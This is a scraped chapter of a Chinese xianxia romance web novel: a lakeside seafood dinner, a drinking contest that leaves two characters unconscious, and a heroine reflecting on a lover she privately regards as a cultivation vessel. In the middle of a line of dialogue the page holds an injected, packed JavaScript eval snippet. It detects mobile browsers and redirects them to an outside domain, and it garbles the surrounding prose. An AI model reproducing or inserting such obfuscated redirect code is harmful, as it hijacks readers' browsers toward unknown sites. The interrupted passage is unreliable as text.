默认冷灰
24号文字
方正启体

18. 七弦音

作者:漠也本书字数:K更新时间:
    亥时,聆梧苑,蘅湖前。


    梧桐树在夜风中抖落下金黄的树叶,叶片回旋,落上平静的湖面时被跃水的鱼尾打翻,涟漪微微荡漾。


    风中传来鲜嫩的肉质被烤熟的香气。


    林璇玉神色复杂,戳戳身旁的祝祈琰:“他以前就这样吗?”


    祝祈琰嘴角抽动:“……我跟这家伙不熟。”


    祝寒:“其实是最近才这样的。”


    蘅湖边,梧桐树下,此刻一派热火朝天。烤架上油花乱蹦,蒸笼冒出白汽,油锅滋滋作响,南宫政仁化身全能厨师八爪章鱼,烤架、蒸笼、锅铲同时上手多线操作,飞快而有条不紊,一人顶一群厨子,神情中透着罕见的认真。


    他一个人在那做饭做得飞起,其余三人都被他的气场震惊,自觉地坐在桌边,不去插手,空气里香辣鲜香混作一团,勾人食欲。


    祝寒去叫祝祈琰一起吃饭时,正值他在与林璇玉切磋,原本三人的晚餐就变成了四人。


    南宫政仁动作突然停下:“姐姐,帮我个忙。”


    祝祈琰不爽:“你要干嘛?我来帮你。”


    南宫政仁淡淡瞥他一眼,没说话。


    祝祈琰无缘无故被甩脸子,刚要发作,祝寒先他一步道:“要做什么?”


    祝祈琰只好把气焰收下去,在一旁暗自生闷气。


    一串烤生蚝递到祝寒面前,热腾腾的香气充斥着嗅觉,南宫政仁道:“姐姐,尝尝看如何?可还需要再烤一会儿?”


    祝寒就着他的手,张嘴咬了一口,细细品味片刻:“蒜香入味,肉质鲜嫩,正合适。”


    祝祈琰也眼馋了,闻了这么久,食欲早被勾起来,但他当然拉不下面子开口说我也想尝尝,依旧一副“并没有很想吃啊”的模样,在一旁摆臭脸。


    相比之下,这铺天盖地的香味对林璇玉的诱惑就要小一些了,一方面,她清心寡欲,克己复礼,对饮食本就没有太高的追求,另一方面,她在走神。


    她现在满脑子想的都是昨晚的藏书阁。


    事实上今天一天她都没有机会去上报,清晨在藏书阁地上醒来时她当即反应过来被南宫政仁施法暗算了,直奔戒律堂,一看竟是空空如也,一打听才知道今天全体休沐,所有人都跑去习武场看史诗级的一对一百车轮战了。


    林璇玉自小仰慕祝寒,那当然也不能落下,她原以为,要对战上百人,今天一天绝对是打不完的,已经搬好小板凳做好通宵观摩的准备。


    谁能想到,才到饭点,这一百人就通通被打趴下。


    她内心一团火焰熊熊燃烧,叫上祝祈琰就去比试过招,早将上报戒律堂一事抛到九霄云外。


    祝寒来叫祝祈琰吃饭,林璇玉原以为加上她也就他们三人,未料来到聆梧苑,蘅湖边,南宫政仁大刀阔斧处理着东海海鲜,见了她和祝祈琰二人,眉头压低,不悦之色一闪而过。


    林璇玉这才终于想起昨晚那事。


    她还想到,昨日与南宫政仁私会苟且的那女子也身份不明,尽管南宫政仁更加可憎,但他们犯的禁是同样的,理当查出来责罚。


    一定是哪个女弟子。


    总不可能是那些宗师、道主吧。


    祝寒此刻就在一旁,林璇玉心想,要不要让她知道这事呢,这种小事本不应该在她面前提起,但是南宫政仁着实是太过分,是该有人来好好管管他。


    沉思之际,一股奇特的香味靠近鼻尖。


    她听到南宫政仁说:“给你的。”


    接过烤串,她心思却没在那上面,仍陷在自己的思绪中。


    下意识咬了一口,外皮酥脆,内里蛋白质被烤熟的焦嫩香味从舌尖蔓延遍味蕾,林璇玉不自觉地眼睛都睁大了。


    好香。


    他给自己吃的什么?


    视线往下,向手里的烤串看去。


    一只焦黑生物被串在签上,细长的身体,几十条腿被烤得歪歪扭扭。


    她听见南宫政仁与祝祈琰的谈话。


    “这不是你养了好几年的蜈蚣吗?”祝祈琰道。


    “对啊,养得越久,越有灵气,吃着也滋补。”南宫政仁道,“还剩了几只,留着泡酒用。”


    烤蜈蚣啪地落在桌上。


    “仙尊,我要告状。”林璇玉机械地转过头对祝寒说。


    祝寒哪会不知道她要告什么状:“哦?何事?”


    林璇玉深吸一口气:“昨夜宵禁已过,藏书阁锁阁之后,南宫政仁在藏书阁与……”


    “姑姑。”祝祈琰一声惊呼打断林璇玉的话,“你怎么了?没事吧?”


    祝寒抬手扶着头,表情透露出些许好像真有那么回事的难受与疲惫:“许是白天损耗大了些,没什么大碍……璇玉,你继续说。”


    林璇玉沉吟片刻,虚眯着眼,狠狠扫了南宫政仁一眼,随即又乖巧道:“抱歉仙尊,没什么事,是我记岔了。”


    祝寒心想该道歉的是她才对。


    林璇玉无疑是个很好的孩子,但毕竟是炎国皇室,祝寒并不想让她发觉,亦或是深挖出一些端倪。


    与南宫政仁的关系涉及到她的弱点和秘密。


    涉及与炎国皇室之间平衡的事,祝寒一向很谨慎。


    祝祈琰却若有所思,自言自语喃喃道:“……藏书阁?”


    这个小插曲到此为止,南宫政仁将菜端上桌,所有人的注意力瞬间就被勾走了。


    红烧海参裹着浓稠的酱汁,蒜蓉蒸蝴蝶虾晶莹剔透,虾肉在蒜末下若隐若现。香煎鱿鱼金黄油亮,边缘微微卷起,散发诱人光泽。还有姜葱炒蟹、豉汁炒花甲、海胆蒸水蛋……一连串色香味俱全的菜肴呈上桌来。并非是像饭店中一道菜一道菜做好呈上,而是几乎同一时间出炉,浓郁的香味齐刷刷刺激着嗅觉。


    南宫政仁将最后一道海鲜粥端上桌:“招待不周。”


    祝祈琰:该死,这副东道主的样子是怎么回事?


    祝祈琰进行心理活动这几秒,祝寒已经吃完一串烤串,只觉灵魂都升华了,一身疲惫都减轻不少,也是毫不吝啬夸赞:“阿政,厨艺真棒。”


    南宫政仁笑道:“姐姐食材挑得好。”


    祝祈琰和林璇玉也抵挡不了香味四溢的诱惑,拿起筷子开吃。


    一口下去,美味蔓延,不论是口感还是味道都是上佳。


    只是口味稍重,第一口舒爽无比,多吃几口舌尖就感觉到了火热的辣意。


    祝祈琰正要起身去打水喝,一坛酒却在这时“哐”一声放到桌上,震得碗筷都跳了跳。


    “喝这个。”南宫政仁与他对视,两道凌厉眼神交汇,仿佛能听见“噼啪”火星声。


    两只酒杯满上,一饮而尽。


    林璇玉眉头一皱:“逐月岛禁止饮……”


    话音卡在喉咙里,林璇玉一转头,竟发现祝寒不知何时早已无声无息喝上了。那两人喝一坛,她一人喝一坛,三人喝酒竟犹如喝水。


    林璇玉的目光在那坛酒上停留了片刻,嘴角微不可察地抽了抽。


    “……酒。”她终于把话说完整,却已经没了劝阻的意思。


    好吧,也不是不行。


    祝祈琰:“你要喝吗?”


    林璇玉:“来一小口,就一小口。”


    南宫政仁本想提醒一句。


    离火宫的酒,就算一小口,对于酒量差的人来说嘛……


    话到嘴边,他却收了回去,将酒满上。


    林璇玉从南宫政仁手中接过酒杯。


    南宫政仁看着她将杯中酒一饮而尽,眉梢扬了扬。


    心中默念,三、二……


    祝寒还沉浸在海鲜大餐的美味中,身侧突然一声巨响,她将一只虾塞进嘴里,惊讶回头。


    “璇玉?”


    巨响是林璇玉的脑门砸在桌面上发出的。


    林璇玉栽在桌上,酒杯翻倒在一边,向来淡漠的脸此刻红得像盘中那些煮熟的虾,已经完全没了意识。


    “都还没吃几口,怎么就醉了。”祝寒惋惜道。


    祝祈琰端着酒杯的手滞了一下,有些意外:“这人,平日什么事都要跟我争高下,终于有她争不了的了。”


    没办法,祝寒只得轻手轻脚地把烂醉的林璇玉搬到院角的藤椅上,细心给林璇玉盖上薄毯,把她散落的鬓发别到耳后。回到桌前,四人变成了三人。


    明月高悬,清风微凉。


    酒过三巡,桌上的海鲜以肉眼可见的速度减少。又一轮斗酒过后,祝祈琰撑着下巴,眼神开始飘忽,思绪也开始打转。


    红晕从脖颈渐渐漫上脸庞,他眼中带着迷糊,鬼使神差地对祝寒说:“姑姑,早上为何对我那么凶……”


    南宫政仁默默心想,就你那琴弹的,学了这么多年都学到狗肚子里去了,死人听了都得坐起来骂两句再把棺材板合上。


    祝寒放下手中酒杯:“祈琰,在其位谋其事,在琴乐课上,我就要履行身为人师的职责。若因私废公,枉顾课堂规矩,岂不是个不称职的老师?”


    祝祈琰:“那姑姑,南宫政仁说他手酸,明显就是搪塞,你怎么还放任他不管?”


    祝寒笑了笑,拍着他后背,力道不轻不重:“他是真手酸。”


    祝祈琰:“什么嘛……”


    南宫政仁早已从原先的位置挪动到了祝寒身边,身子与祝寒挨得很近。


    祝寒下意识看了眼祝祈琰,只见他已晕晕乎乎,哼哼唧唧地不知在抱怨什么,全然没注意到有何异样。


    南宫政仁也是发觉了这点,大胆地凑近,略带些旖旎酒气的呼吸喷吐在耳畔。


    祝祈琰突然唰一下站起来。


    祝寒的手同一时间抵在南宫政仁肩上,正要将他推开。


    “我今天上午,只是没发挥好而已


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15688778|172383||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    !”他说着,转身回屋,丝毫没有滞留。


    不到一分钟,出来时他手里抱着一把七弦琴。


    见状,祝寒眉头一抽。


    坏了。


    琴桌展开,将七弦琴至于其上,祝祈琰在桌前坐下,


    “姑姑,上午的不算,好不好?”他迷蒙的眼神注视着祝寒,手放在了琴弦上,“我重新弹。”


    祝寒一听,白天独战百名宗师都面不改色,此刻是真的慌了,连忙违心说道:“上午其实也还……行!真的。不用重新弹,姑姑知道你很用心地学了的。”


    祝祈琰摇摇头:“你又像小时候那样哄我……”


    说话间,指尖拨动琴弦,琴音响起。


    他极有自信,抱着一雪前耻的决心,手下生风。刹那间无法用言语形容的乐声魔音灌耳般炸开。


    祝寒痛苦地闭上眼。


    南宫政仁不会像祝寒那样给他留面子,直接抬手捂住耳朵。


    谁喜欢苍蝇在耳边飞?


    不知过了多久,最后一个音节落下,祝寒在心里长舒一口气,心道原来今天最难熬的环节不在白天的习武场而在这里。


    在酒劲的加成下,祝祈琰却觉得自己的琴声动听无比,一下来了兴致。


    他又将手放上琴弦,耳边却先传来南宫政仁鼓掌的声音。


    南宫政仁起身,一手端着一壶酒,将其中一壶递给祝祈琰:“干杯,敬你的琴声。”


    祝祈琰:“你这琴都不敢摸的人没资格敬我。”


    南宫政仁:“喝完这一壶我就来弹。”


    这一招很管用,祝祈琰接过酒壶,瓷壶对撞出清脆声响,满满的酒液洒出少许。


    喉咙咕噜咕噜地吞咽,南宫政仁余光看着祝祈琰眼睛的开合越来越小,心中松了口气,悄然放慢速度。


    祝祈琰将空酒壶扔在地上的一刻,南宫政仁壶中还剩一大半。


    “南宫,你行不……”


    哐。


    话未说完,他先一头砸在琴上。


    头枕着一条手臂,乌黑的高马尾散落肩头,丝丝缕缕蜿蜒地垂落在琴上,嘴里还模糊不清发出甜蜜的梦呓呢喃。


    祝寒心中是前所未有的如释重负。


    南宫政仁将祝祈琰扛回屋扔到床上,再漠然扫了一眼藤椅上睡死的林璇玉。


    一个苍蝇,一个蜈蚣口粮。


    碍事。


    他并未坐回祝寒身边,而是在琴桌前坐下。


    祝寒原已经有些困倦而微阖的眼皮缓缓抬起,倦意被一丝兴趣取代。


    她知道南宫政仁上午确实是在搪塞,只不过,原以为他是真的不想弹,时间也快逼近下课,顺势随了他的意罢了。


    她单手撑头看着南宫政仁:“上午我真被你骗过了?”


    南宫政仁惭愧道:“姐姐让我弹琴,岂有不弹的道理。只是太久没摸过乐器,生疏了,怕同窗们听了笑话我,只敢在姐姐面前献丑了。”


    他坐在那里,黑衣垂地,仿佛本身就是夜色渗出的一部分。


    隔着不远不近的距离,一片梧桐叶在两人眼前落下。


    他低下头。


    夜风奏响树叶的律动,指尖刚触碰上琴弦,如冰冻的寒潭发出一声碎响。慢捻之间,琴音如冰雪消融的泉水,先是微弱、缓慢,渐渐明朗起来,时而湍急,撞上礁石,时而舒缓,汩汩流淌。复又轻轻落下,云雨静静滴落水面,脱落的冰雕坠入寒潭深涧。


    琴声缱绻,蕴藏其中的情感克制又汹涌。


    这样的琴声,弹奏出它的人却是姿势都不算十分标准,指尖起落间更不谈不上什么精妙。偏是这般随性的拨弄,七弦竟自生了灵韵般,随着那隐没其中的情感,奏出一汪清泉。


    有这天分,怎可能真是怕在人前露怯。


    祝寒低着头,浓浓的睫毛垂下,眼神飘忽向一边,双手抱着酒壶小口啜饮着。


    她也怀疑过他是否别有用心,亦或是太善于精心编排演绎,但似乎并非如此。


    真是奇怪。祝寒望着酒面上晃动的月光想,这份情意,远比她想象中还要厚重深沉。


    这并不是好事。


    情感的累积,在一段关系中只是沉没成本。


    她更习惯用双方都更喜欢的方式来维系一段关系。


    牵手、抚摸、拥抱、情到浓时分辨不出是否发自真心的甜言蜜语……


    在以往的经验中,效果也很显著。


    她只是需要一个炉鼎,一只听话的宠物,她可以为他营造出爱的表象,这就是最大程度了。


    祝寒闭上眼,琴音如同悬桥,她似乎能隔着虚渊触碰到南宫政仁的魂魄。溪雪下暗藏的嶙峋礁石被冰泉冲刷侵蚀,漆黑滑腻。


    可是阿政,琴声中的不安是从何而来?


    她没做过什么对不起他的事吧?


    还是说……恰恰相反?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)